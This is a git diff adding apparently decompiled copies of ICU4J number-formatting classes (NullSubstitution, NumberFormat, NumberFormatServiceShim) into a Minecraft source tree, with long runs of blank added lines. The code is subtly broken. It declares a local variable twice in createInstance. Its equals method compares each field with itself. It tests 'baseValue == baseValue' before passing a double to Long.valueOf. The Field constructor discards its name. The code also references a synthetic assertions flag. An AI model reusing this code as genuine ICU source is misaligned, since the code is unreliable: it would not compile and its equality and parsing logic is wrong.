+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class NullSubstitution
+  extends NFSubstitution
+{
+  NullSubstitution(int pos, NFRuleSet ruleSet, RuleBasedNumberFormat formatter, String description)
+  {
+    super(pos, ruleSet, formatter, description);
+  }
+  
+
+
+
+
+
+
+  public boolean equals(Object that)
+  {
+    return super.equals(that);
+  }
+  
+  public int hashCode() {
+    if (!$assertionsDisabled) throw new AssertionError("hashCode not designed");
+    return 42;
+  }
+  
+
+
+
+  public String toString()
+  {
+    return "";
+  }
+  
+
+
+
+
+
+  public void doSubstitution(long number, StringBuffer toInsertInto, int position) {}
+  
+
+
+
+
+
+  public void doSubstitution(double number, StringBuffer toInsertInto, int position) {}
+  
+
+
+
+
+
+  public long transformNumber(long number)
+  {
+    return 0L;
+  }
+  
+
+
+
+
+  public double transformNumber(double number)
+  {
+    return 0.0D;
+  }
+  
+
+
+
+
+
+
+
+
+  public Number doParse(String text, ParsePosition parsePosition, double baseValue, double upperBound, boolean lenientParse)
+  {
+    if (baseValue == baseValue) {
+      return Long.valueOf(baseValue);
+    }
+    return new Double(baseValue);
+  }
+  
+
+
+
+
+  public double composeRuleValue(double newRuleValue, double oldRuleValue)
+  {
+    return 0.0D;
+  }
+  
+
+
+
+
+  public double calcUpperBound(double oldUpperBound)
+  {
+    return 0.0D;
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean isNullSubstitution()
+  {
+    return true;
+  }
+  
+
+
+
+  char tokenChar()
+  {
+    return ' ';
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/NumberFormat.java b/src/minecraft/com/ibm/icu/text/NumberFormat.java
new file mode 100644
index 0000000..2808404
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/NumberFormat.java
@@ -0,0 +1,1810 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.ICUResourceBundle;
+import com.ibm.icu.util.Currency;
+import com.ibm.icu.util.CurrencyAmount;
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.ULocale.Category;
+import com.ibm.icu.util.UResourceBundle;
+import java.io.IOException;
+import java.io.InvalidObjectException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.math.BigInteger;
+import java.text.FieldPosition;
+import java.text.Format.Field;
+import java.text.ParseException;
+import java.text.ParsePosition;
+import java.util.Collections;
+import java.util.Locale;
+import java.util.MissingResourceException;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class NumberFormat
+  extends UFormat
+{
+  public static final int NUMBERSTYLE = 0;
+  public static final int CURRENCYSTYLE = 1;
+  public static final int PERCENTSTYLE = 2;
+  public static final int SCIENTIFICSTYLE = 3;
+  public static final int INTEGERSTYLE = 4;
+  public static final int ISOCURRENCYSTYLE = 5;
+  public static final int PLURALCURRENCYSTYLE = 6;
+  public static final int INTEGER_FIELD = 0;
+  public static final int FRACTION_FIELD = 1;
+  private static NumberFormatShim shim;
+  
+  public StringBuffer format(Object number, StringBuffer toAppendTo, FieldPosition pos)
+  {
+    if ((number instanceof Long))
+      return format(((Long)number).longValue(), toAppendTo, pos);
+    if ((number instanceof BigInteger))
+      return format((BigInteger)number, toAppendTo, pos);
+    if ((number instanceof java.math.BigDecimal))
+      return format((java.math.BigDecimal)number, toAppendTo, pos);
+    if ((number instanceof com.ibm.icu.math.BigDecimal))
+      return format((com.ibm.icu.math.BigDecimal)number, toAppendTo, pos);
+    if ((number instanceof CurrencyAmount))
+      return format((CurrencyAmount)number, toAppendTo, pos);
+    if ((number instanceof Number)) {
+      return format(((Number)number).doubleValue(), toAppendTo, pos);
+    }
+    throw new IllegalArgumentException("Cannot format given Object as a Number");
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public final Object parseObject(String source, ParsePosition parsePosition)
+  {
+    return parse(source, parsePosition);
+  }
+  
+
+
+
+
+  public final String format(double number)
+  {
+    return format(number, new StringBuffer(), new FieldPosition(0)).toString();
+  }
+  
+
+
+
+
+
+  public final String format(long number)
+  {
+    StringBuffer buf = new StringBuffer(19);
+    FieldPosition pos = new FieldPosition(0);
+    format(number, buf, pos);
+    return buf.toString();
+  }
+  
+
+
+
+  public final String format(BigInteger number)
+  {
+    return format(number, new StringBuffer(), new FieldPosition(0)).toString();
+  }
+  
+
+
+
+
+  public final String format(java.math.BigDecimal number)
+  {
+    return format(number, new StringBuffer(), new FieldPosition(0)).toString();
+  }
+  
+
+
+
+
+  public final String format(com.ibm.icu.math.BigDecimal number)
+  {
+    return format(number, new StringBuffer(), new FieldPosition(0)).toString();
+  }
+  
+
+
+
+
+  public final String format(CurrencyAmount currAmt)
+  {
+    return format(currAmt, new StringBuffer(), new FieldPosition(0)).toString();
+  }
+  
+
+
+
+
+
+
+
+  public abstract StringBuffer format(double paramDouble, StringBuffer paramStringBuffer, FieldPosition paramFieldPosition);
+  
+
+
+
+
+
+
+
+  public abstract StringBuffer format(long paramLong, StringBuffer paramStringBuffer, FieldPosition paramFieldPosition);
+  
+
+
+
+
+
+
+
+  public abstract StringBuffer format(BigInteger paramBigInteger, StringBuffer paramStringBuffer, FieldPosition paramFieldPosition);
+  
+
+
+
+
+
+
+  public abstract StringBuffer format(java.math.BigDecimal paramBigDecimal, StringBuffer paramStringBuffer, FieldPosition paramFieldPosition);
+  
+
+
+
+
+
+
+  public abstract StringBuffer format(com.ibm.icu.math.BigDecimal paramBigDecimal, StringBuffer paramStringBuffer, FieldPosition paramFieldPosition);
+  
+
+
+
+
+
+
+  public StringBuffer format(CurrencyAmount currAmt, StringBuffer toAppendTo, FieldPosition pos)
+  {
+    Currency save = getCurrency();Currency curr = currAmt.getCurrency();
+    boolean same = curr.equals(save);
+    if (!same) setCurrency(curr);
+    format(currAmt.getNumber(), toAppendTo, pos);
+    if (!same) setCurrency(save);
+    return toAppendTo;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public abstract Number parse(String paramString, ParsePosition paramParsePosition);
+  
+
+
+
+
+
+
+
+
+
+
+
+  public Number parse(String text)
+    throws ParseException
+  {
+    ParsePosition parsePosition = new ParsePosition(0);
+    Number result = parse(text, parsePosition);
+    if (parsePosition.getIndex() == 0) {
+      throw new ParseException("Unparseable number: \"" + text + '"', parsePosition.getErrorIndex());
+    }
+    
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public CurrencyAmount parseCurrency(CharSequence text, ParsePosition pos)
+  {
+    Number n = parse(text.toString(), pos);
+    return n == null ? null : new CurrencyAmount(n, getEffectiveCurrency());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public boolean isParseIntegerOnly()
+  {
+    return parseIntegerOnly;
+  }
+  
+
+
+
+
+
+  public void setParseIntegerOnly(boolean value)
+  {
+    parseIntegerOnly = value;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setParseStrict(boolean value)
+  {
+    parseStrict = value;
+  }
+  
+
+
+
+
+
+  public boolean isParseStrict()
+  {
+    return parseStrict;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static final NumberFormat getInstance()
+  {
+    return getInstance(ULocale.getDefault(ULocale.Category.FORMAT), 0);
+  }
+  
+
+
+
+
+
+
+  public static NumberFormat getInstance(Locale inLocale)
+  {
+    return getInstance(ULocale.forLocale(inLocale), 0);
+  }
+  
+
+
+
+
+
+
+  public static NumberFormat getInstance(ULocale inLocale)
+  {
+    return getInstance(inLocale, 0);
+  }
+  
+
+
+
+
+
+  public static final NumberFormat getInstance(int style)
+  {
+    return getInstance(ULocale.getDefault(ULocale.Category.FORMAT), style);
+  }
+  
+
+
+
+
+
+  public static NumberFormat getInstance(Locale inLocale, int style)
+  {
+    return getInstance(ULocale.forLocale(inLocale), style);
+  }
+  
+
+
+
+
+
+  public static final NumberFormat getNumberInstance()
+  {
+    return getInstance(ULocale.getDefault(ULocale.Category.FORMAT), 0);
+  }
+  
+
+
+
+  public static NumberFormat getNumberInstance(Locale inLocale)
+  {
+    return getInstance(ULocale.forLocale(inLocale), 0);
+  }
+  
+
+
+
+  public static NumberFormat getNumberInstance(ULocale inLocale)
+  {
+    return getInstance(inLocale, 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final NumberFormat getIntegerInstance()
+  {
+    return getInstance(ULocale.getDefault(ULocale.Category.FORMAT), 4);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static NumberFormat getIntegerInstance(Locale inLocale)
+  {
+    return getInstance(ULocale.forLocale(inLocale), 4);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static NumberFormat getIntegerInstance(ULocale inLocale)
+  {
+    return getInstance(inLocale, 4);
+  }
+  
+
+
+
+
+
+  public static final NumberFormat getCurrencyInstance()
+  {
+    return getInstance(ULocale.getDefault(ULocale.Category.FORMAT), 1);
+  }
+  
+
+
+
+
+  public static NumberFormat getCurrencyInstance(Locale inLocale)
+  {
+    return getInstance(ULocale.forLocale(inLocale), 1);
+  }
+  
+
+
+
+
+  public static NumberFormat getCurrencyInstance(ULocale inLocale)
+  {
+    return getInstance(inLocale, 1);
+  }
+  
+
+
+
+
+
+  public static final NumberFormat getPercentInstance()
+  {
+    return getInstance(ULocale.getDefault(ULocale.Category.FORMAT), 2);
+  }
+  
+
+
+
+
+  public static NumberFormat getPercentInstance(Locale inLocale)
+  {
+    return getInstance(ULocale.forLocale(inLocale), 2);
+  }
+  
+
+
+
+
+  public static NumberFormat getPercentInstance(ULocale inLocale)
+  {
+    return getInstance(inLocale, 2);
+  }
+  
+
+
+
+
+
+  public static final NumberFormat getScientificInstance()
+  {
+    return getInstance(ULocale.getDefault(ULocale.Category.FORMAT), 3);
+  }
+  
+
+
+
+
+  public static NumberFormat getScientificInstance(Locale inLocale)
+  {
+    return getInstance(ULocale.forLocale(inLocale), 3);
+  }
+  
+
+
+
+
+  public static NumberFormat getScientificInstance(ULocale inLocale)
+  {
+    return getInstance(inLocale, 3);
+  }
+  
+
+
+
+
+
+
+
+
+  public static abstract class NumberFormatFactory
+  {
+    public static final int FORMAT_NUMBER = 0;
+    
+
+
+
+
+
+
+
+    public static final int FORMAT_CURRENCY = 1;
+    
+
+
+
+
+
+
+    public static final int FORMAT_PERCENT = 2;
+    
+
+
+
+
+
+
+    public static final int FORMAT_SCIENTIFIC = 3;
+    
+
+
+
+
+
+
+    public static final int FORMAT_INTEGER = 4;
+    
+
+
+
+
+
+
+
+    public boolean visible()
+    {
+      return true;
+    }
+    
+
+
+
+
+
+
+
+
+
+    public abstract Set<String> getSupportedLocaleNames();
+    
+
+
+
+
+
+
+
+
+    public NumberFormat createFormat(ULocale loc, int formatType)
+    {
+      return createFormat(loc.toLocale(), formatType);
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    public NumberFormat createFormat(Locale loc, int formatType)
+    {
+      return createFormat(ULocale.forLocale(loc), formatType);
+    }
+    
+
+
+
+    protected NumberFormatFactory() {}
+  }
+  
+
+
+  public static abstract class SimpleNumberFormatFactory
+    extends NumberFormat.NumberFormatFactory
+  {
+    final Set<String> localeNames;
+    
+
+    final boolean visible;
+    
+
+
+    public SimpleNumberFormatFactory(Locale locale)
+    {
+      this(locale, true);
+    }
+    
+
+
+
+
+    public SimpleNumberFormatFactory(Locale locale, boolean visible)
+    {
+      localeNames = Collections.singleton(ULocale.forLocale(locale).getBaseName());
+      this.visible = visible;
+    }
+    
+
+
+
+    public SimpleNumberFormatFactory(ULocale locale)
+    {
+      this(locale, true);
+    }
+    
+
+
+
+
+    public SimpleNumberFormatFactory(ULocale locale, boolean visible)
+    {
+      localeNames = Collections.singleton(locale.getBaseName());
+      this.visible = visible;
+    }
+    
+
+
+
+
+    public final boolean visible()
+    {
+      return visible;
+    }
+    
+
+
+
+
+    public final Set<String> getSupportedLocaleNames()
+    {
+      return localeNames;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static NumberFormatShim getShim()
+  {
+    if (shim == null) {
+      try {
+        Class<?> cls = Class.forName("com.ibm.icu.text.NumberFormatServiceShim");
+        shim = (NumberFormatShim)cls.newInstance();
+      }
+      catch (MissingResourceException e)
+      {
+        throw e;
+      }
+      catch (Exception e)
+      {
+        throw new RuntimeException(e.getMessage());
+      }
+    }
+    
+    return shim;
+  }
+  
+
+
+
+
+  public static Locale[] getAvailableLocales()
+  {
+    if (shim == null) {
+      return ICUResourceBundle.getAvailableLocales();
+    }
+    return getShim().getAvailableLocales();
+  }
+  
+
+
+
+
+
+  public static ULocale[] getAvailableULocales()
+  {
+    if (shim == null) {
+      return ICUResourceBundle.getAvailableULocales();
+    }
+    return getShim().getAvailableULocales();
+  }
+  
+
+
+
+
+
+
+
+  public static Object registerFactory(NumberFormatFactory factory)
+  {
+    if (factory == null) {
+      throw new IllegalArgumentException("factory must not be null");
+    }
+    return getShim().registerFactory(factory);
+  }
+  
+
+
+
+
+
+
+  public static boolean unregister(Object registryKey)
+  {
+    if (registryKey == null) {
+      throw new IllegalArgumentException("registryKey must not be null");
+    }
+    
+    if (shim == null) {
+      return false;
+    }
+    
+    return shim.unregister(registryKey);
+  }
+  
+
+
+
+
+
+
+  public int hashCode()
+  {
+    return maximumIntegerDigits * 37 + maxFractionDigits;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public boolean equals(Object obj)
+  {
+    if (obj == null) return false;
+    if (this == obj)
+      return true;
+    if (getClass() != obj.getClass())
+      return false;
+    NumberFormat other = (NumberFormat)obj;
+    return (maximumIntegerDigits == maximumIntegerDigits) && (minimumIntegerDigits == minimumIntegerDigits) && (maximumFractionDigits == maximumFractionDigits) && (minimumFractionDigits == minimumFractionDigits) && (groupingUsed == groupingUsed) && (parseIntegerOnly == parseIntegerOnly) && (parseStrict == parseStrict);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public Object clone()
+  {
+    NumberFormat other = (NumberFormat)super.clone();
+    return other;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean isGroupingUsed()
+  {
+    return groupingUsed;
+  }
+  
+
+
+
+
+
+
+  public void setGroupingUsed(boolean newValue)
+  {
+    groupingUsed = newValue;
+  }
+  
+
+
+
+
+
+
+
+
+  public int getMaximumIntegerDigits()
+  {
+    return maximumIntegerDigits;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void setMaximumIntegerDigits(int newValue)
+  {
+    maximumIntegerDigits = Math.max(0, newValue);
+    if (minimumIntegerDigits > maximumIntegerDigits) {
+      minimumIntegerDigits = maximumIntegerDigits;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public int getMinimumIntegerDigits()
+  {
+    return minimumIntegerDigits;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void setMinimumIntegerDigits(int newValue)
+  {
+    minimumIntegerDigits = Math.max(0, newValue);
+    if (minimumIntegerDigits > maximumIntegerDigits) {
+      maximumIntegerDigits = minimumIntegerDigits;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public int getMaximumFractionDigits()
+  {
+    return maximumFractionDigits;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void setMaximumFractionDigits(int newValue)
+  {
+    maximumFractionDigits = Math.max(0, newValue);
+    if (maximumFractionDigits < minimumFractionDigits) {
+      minimumFractionDigits = maximumFractionDigits;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public int getMinimumFractionDigits()
+  {
+    return minimumFractionDigits;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void setMinimumFractionDigits(int newValue)
+  {
+    minimumFractionDigits = Math.max(0, newValue);
+    if (maximumFractionDigits < minimumFractionDigits) {
+      maximumFractionDigits = minimumFractionDigits;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public void setCurrency(Currency theCurrency)
+  {
+    currency = theCurrency;
+  }
+  
+
+
+
+
+  public Currency getCurrency()
+  {
+    return currency;
+  }
+  
+
+
+
+
+
+
+
+  @Deprecated
+  protected Currency getEffectiveCurrency()
+  {
+    Currency c = getCurrency();
+    if (c == null) {
+      ULocale uloc = getLocale(ULocale.VALID_LOCALE);
+      if (uloc == null) {
+        uloc = ULocale.getDefault(ULocale.Category.FORMAT);
+      }
+      c = Currency.getInstance(uloc);
+    }
+    return c;
+  }
+  
+
+
+
+
+
+
+
+  public int getRoundingMode()
+  {
+    throw new UnsupportedOperationException("getRoundingMode must be implemented by the subclass implementation.");
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void setRoundingMode(int roundingMode)
+  {
+    throw new UnsupportedOperationException("setRoundingMode must be implemented by the subclass implementation.");
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static NumberFormat getInstance(ULocale desiredLocale, int choice)
+  {
+    if ((choice < 0) || (choice > 6)) {
+      throw new IllegalArgumentException("choice should be from NUMBERSTYLE to PLURALCURRENCYSTYLE");
+    }
+    
+
+
+
+
+
+
+    return getShim().createInstance(desiredLocale, choice);
+  }
+  
+
+
+
+
+
+
+  static NumberFormat createInstance(ULocale desiredLocale, int choice)
+  {
+    String pattern = getPattern(desiredLocale, choice);
+    DecimalFormatSymbols symbols = new DecimalFormatSymbols(desiredLocale);
+    
+
+
+
+
+
+    if ((choice == 1) || (choice == 5)) {
+      String temp = symbols.getCurrencyPattern();
+      if (temp != null) {
+        pattern = temp;
+      }
+    }
+    
+
+
+    if (choice == 5) {
+      pattern = pattern.replace("¤", doubleCurrencyStr);
+    }
+    
+
+    NumberingSystem ns = NumberingSystem.getInstance(desiredLocale);
+    if (ns == null) {
+      return null;
+    }
+    
+    NumberFormat format;
+    NumberFormat format;
+    if ((ns != null) && (ns.isAlgorithmic()))
+    {
+
+
+
+      int desiredRulesType = 4;
+      
+      String nsDesc = ns.getDescription();
+      int firstSlash = nsDesc.indexOf("/");
+      int lastSlash = nsDesc.lastIndexOf("/");
+      ULocale nsLoc;
+      String nsRuleSetName; if (lastSlash > firstSlash) {
+        String nsLocID = nsDesc.substring(0, firstSlash);
+        String nsRuleSetGroup = nsDesc.substring(firstSlash + 1, lastSlash);
+        String nsRuleSetName = nsDesc.substring(lastSlash + 1);
+        
+        ULocale nsLoc = new ULocale(nsLocID);
+        if (nsRuleSetGroup.equals("SpelloutRules")) {
+          desiredRulesType = 1;
+        }
+      } else {
+        nsLoc = desiredLocale;
+        nsRuleSetName = nsDesc;
+      }
+      
+      RuleBasedNumberFormat r = new RuleBasedNumberFormat(nsLoc, desiredRulesType);
+      r.setDefaultRuleSet(nsRuleSetName);
+      format = r;
+    } else {
+      DecimalFormat f = new DecimalFormat(pattern, symbols, choice);
+      
+
+
+
+
+
+
+      if (choice == 4) {
+        f.setMaximumFractionDigits(0);
+        f.setDecimalSeparatorAlwaysShown(false);
+        f.setParseIntegerOnly(true);
+      }
+      format = f;
+    }
+    
+
+
+    ULocale valid = symbols.getLocale(ULocale.VALID_LOCALE);
+    ULocale actual = symbols.getLocale(ULocale.ACTUAL_LOCALE);
+    format.setLocale(valid, actual);
+    
+    return format;
+  }
+  
+
+
+
+
+
+
+  @Deprecated
+  protected static String getPattern(Locale forLocale, int choice)
+  {
+    return getPattern(ULocale.forLocale(forLocale), choice);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected static String getPattern(ULocale forLocale, int choice)
+  {
+    int entry = (choice == 5) || (choice == 6) ? 1 : choice == 4 ? 0 : choice;
+    
+
+
+    ICUResourceBundle rb = (ICUResourceBundle)UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", forLocale);
+    
+    String[] numberPatternKeys = { "decimalFormat", "currencyFormat", "percentFormat", "scientificFormat" };
+    NumberingSystem ns = NumberingSystem.getInstance(forLocale);
+    
+    String result = null;
+    try {
+      result = rb.getStringWithFallback("NumberElements/" + ns.getName() + "/patterns/" + numberPatternKeys[entry]);
+    } catch (MissingResourceException ex) {
+      result = rb.getStringWithFallback("NumberElements/latn/patterns/" + numberPatternKeys[entry]);
+    }
+    
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  private void readObject(ObjectInputStream stream)
+    throws IOException, ClassNotFoundException
+  {
+    stream.defaultReadObject();
+    
+
+    if (serialVersionOnStream < 1)
+    {
+      maximumIntegerDigits = maxIntegerDigits;
+      minimumIntegerDigits = minIntegerDigits;
+      maximumFractionDigits = maxFractionDigits;
+      minimumFractionDigits = minFractionDigits;
+    }
+    
+
+
+
+    if ((minimumIntegerDigits > maximumIntegerDigits) || (minimumFractionDigits > maximumFractionDigits) || (minimumIntegerDigits < 0) || (minimumFractionDigits < 0))
+    {
+
+      throw new InvalidObjectException("Digit count range invalid");
+    }
+    serialVersionOnStream = 1;
+  }
+  
+
+
+
+
+
+
+
+  private void writeObject(ObjectOutputStream stream)
+    throws IOException
+  {
+    maxIntegerDigits = (maximumIntegerDigits > 127 ? Byte.MAX_VALUE : (byte)maximumIntegerDigits);
+    
+    minIntegerDigits = (minimumIntegerDigits > 127 ? Byte.MAX_VALUE : (byte)minimumIntegerDigits);
+    
+    maxFractionDigits = (maximumFractionDigits > 127 ? Byte.MAX_VALUE : (byte)maximumFractionDigits);
+    
+    minFractionDigits = (minimumFractionDigits > 127 ? Byte.MAX_VALUE : (byte)minimumFractionDigits);
+    
+    stream.defaultWriteObject();
+  }
+  
+
+
+
+
+
+
+  private static final char[] doubleCurrencySign = { '¤', '¤' };
+  private static final String doubleCurrencyStr = new String(doubleCurrencySign);
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private boolean groupingUsed = true;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private byte maxIntegerDigits = 40;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private byte minIntegerDigits = 1;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private byte maxFractionDigits = 3;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private byte minFractionDigits = 0;
+  
+
+
+
+
+
+
+  private boolean parseIntegerOnly = false;
+  
+
+
+
+
+
+
+
+
+
+
+  private int maximumIntegerDigits = 40;
+  
+
+
+
+
+
+
+
+
+  private int minimumIntegerDigits = 1;
+  
+
+
+
+
+
+
+
+
+  private int maximumFractionDigits = 3;
+  
+
+
+
+
+
+
+
+
+  private int minimumFractionDigits = 0;
+  
+
+
+
+
+
+
+
+
+
+  private Currency currency;
+  
+
+
+
+
+
+
+
+
+
+  static final int currentSerialVersion = 1;
+  
+
+
+
+
+
+
+
+
+  private int serialVersionOnStream = 1;
+  
+  private static final long serialVersionUID = -2308460125733713944L;
+  
+  private boolean parseStrict;
+  
+
+  public NumberFormat() {}
+  
+
+  static abstract class NumberFormatShim
+  {
+    NumberFormatShim() {}
+    
+
+    abstract Locale[] getAvailableLocales();
+    
+
+    abstract ULocale[] getAvailableULocales();
+    
+
+    abstract Object registerFactory(NumberFormat.NumberFormatFactory paramNumberFormatFactory);
+    
+
+    abstract boolean unregister(Object paramObject);
+    
+
+    abstract NumberFormat createInstance(ULocale paramULocale, int paramInt);
+  }
+  
+
+  public static class Field
+    extends Format.Field
+  {
+    static final long serialVersionUID = -4516273749929385842L;
+    public static final Field SIGN = new Field("sign");
+    
+
+
+
+    public static final Field INTEGER = new Field("integer");
+    
+
+
+
+    public static final Field FRACTION = new Field("fraction");
+    
+
+
+
+    public static final Field EXPONENT = new Field("exponent");
+    
+
+
+
+    public static final Field EXPONENT_SIGN = new Field("exponent sign");
+    
+
+
+
+    public static final Field EXPONENT_SYMBOL = new Field("exponent symbol");
+    
+
+
+
+    public static final Field DECIMAL_SEPARATOR = new Field("decimal separator");
+    
+
+
+    public static final Field GROUPING_SEPARATOR = new Field("grouping separator");
+    
+
+
+
+    public static final Field PERCENT = new Field("percent");
+    
+
+
+
+    public static final Field PERMILLE = new Field("per mille");
+    
+
+
+
+    public static final Field CURRENCY = new Field("currency");
+    
+
+
+
+
+    protected Field(String fieldName)
+    {
+      super();
+    }
+    
+
+
+
+
+    protected Object readResolve()
+      throws InvalidObjectException
+    {
+      if (getName().equals(INTEGER.getName()))
+        return INTEGER;
+      if (getName().equals(FRACTION.getName()))
+        return FRACTION;
+      if (getName().equals(EXPONENT.getName()))
+        return EXPONENT;
+      if (getName().equals(EXPONENT_SIGN.getName()))
+        return EXPONENT_SIGN;
+      if (getName().equals(EXPONENT_SYMBOL.getName()))
+        return EXPONENT_SYMBOL;
+      if (getName().equals(CURRENCY.getName()))
+        return CURRENCY;
+      if (getName().equals(DECIMAL_SEPARATOR.getName()))
+        return DECIMAL_SEPARATOR;
+      if (getName().equals(GROUPING_SEPARATOR.getName()))
+        return GROUPING_SEPARATOR;
+      if (getName().equals(PERCENT.getName()))
+        return PERCENT;
+      if (getName().equals(PERMILLE.getName()))
+        return PERMILLE;
+      if (getName().equals(SIGN.getName())) {
+        return SIGN;
+      }
+      throw new InvalidObjectException("An invalid object.");
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/NumberFormatServiceShim.java b/src/minecraft/com/ibm/icu/text/NumberFormatServiceShim.java
new file mode 100644
index 0000000..02a0bbc
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/NumberFormatServiceShim.java
@@ -0,0 +1,127 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.ICULocaleService;
+import com.ibm.icu.impl.ICULocaleService.ICUResourceBundleFactory;
+import com.ibm.icu.impl.ICULocaleService.LocaleKey;
+import com.ibm.icu.impl.ICULocaleService.LocaleKeyFactory;
+import com.ibm.icu.impl.ICUResourceBundle;
+import com.ibm.icu.impl.ICUService;
+import com.ibm.icu.impl.ICUService.Factory;
+import com.ibm.icu.impl.ICUService.Key;
+import com.ibm.icu.util.Currency;
+import com.ibm.icu.util.ULocale;
+import java.util.Locale;
+import java.util.MissingResourceException;
+import java.util.Set;
+
+
+
+
+
+class NumberFormatServiceShim
+  extends NumberFormat.NumberFormatShim
+{
+  NumberFormatServiceShim() {}
+  
+  Locale[] getAvailableLocales()
+  {
+    if (service.isDefault()) {
+      return ICUResourceBundle.getAvailableLocales();
+    }
+    return service.getAvailableLocales();
+  }
+  
+  ULocale[] getAvailableULocales() {
+    if (service.isDefault()) {
+      return ICUResourceBundle.getAvailableULocales();
+    }
+    return service.getAvailableULocales();
+  }
+  
+  private static final class NFFactory extends ICULocaleService.LocaleKeyFactory {
+    private NumberFormat.NumberFormatFactory delegate;
+    
+    NFFactory(NumberFormat.NumberFormatFactory delegate) {
+      super();
+      
+      this.delegate = delegate;
+    }
+    
+    public Object create(ICUService.Key key, ICUService srvc) {
+      if ((!handlesKey(key)) || (!(key instanceof ICULocaleService.LocaleKey))) {
+        return null;
+      }
+      
+      ICULocaleService.LocaleKey lkey = (ICULocaleService.LocaleKey)key;
+      Object result = delegate.createFormat(lkey.canonicalLocale(), lkey.kind());
+      if (result == null) {
+        result = srvc.getKey(key, null, this);
+      }
+      return result;
+    }
+    
+    protected Set<String> getSupportedIDs() {
+      return delegate.getSupportedLocaleNames();
+    }
+  }
+  
+  Object registerFactory(NumberFormat.NumberFormatFactory factory) {
+    return service.registerFactory(new NFFactory(factory));
+  }
+  
+  boolean unregister(Object registryKey) {
+    return service.unregisterFactory((ICUService.Factory)registryKey);
+  }
+  
+
+
+
+
+
+  NumberFormat createInstance(ULocale desiredLocale, int choice)
+  {
+    ULocale[] actualLoc = new ULocale[1];
+    NumberFormat fmt = (NumberFormat)service.get(desiredLocale, choice, actualLoc);
+    
+    if (fmt == null) {
+      throw new MissingResourceException("Unable to construct NumberFormat", "", "");
+    }
+    fmt = (NumberFormat)fmt.clone();
+    
+
+
+    if ((choice == 1) || (choice == 5) || (choice == 6))
+    {
+
+      fmt.setCurrency(Currency.getInstance(desiredLocale));
+    }
+    
+    ULocale uloc = actualLoc[0];
+    fmt.setLocale(uloc, uloc);
+    return fmt;
+  }
+  
+  private static class NFService extends ICULocaleService {
+    NFService() {
+      super();
+      
+
+
+
+
+
+
+      registerFactory(new ICULocaleService.ICUResourceBundleFactory()
+      {
+        protected Object handleCreate(ULocale loc, int kind, ICUService srvc)
+        {
+          return NumberFormat.createInstance(loc, kind);
+        }
+        
+
+      });
+      markDefault();
+    } }
+  
+  private static ICULocaleService service = new NFService();
+}
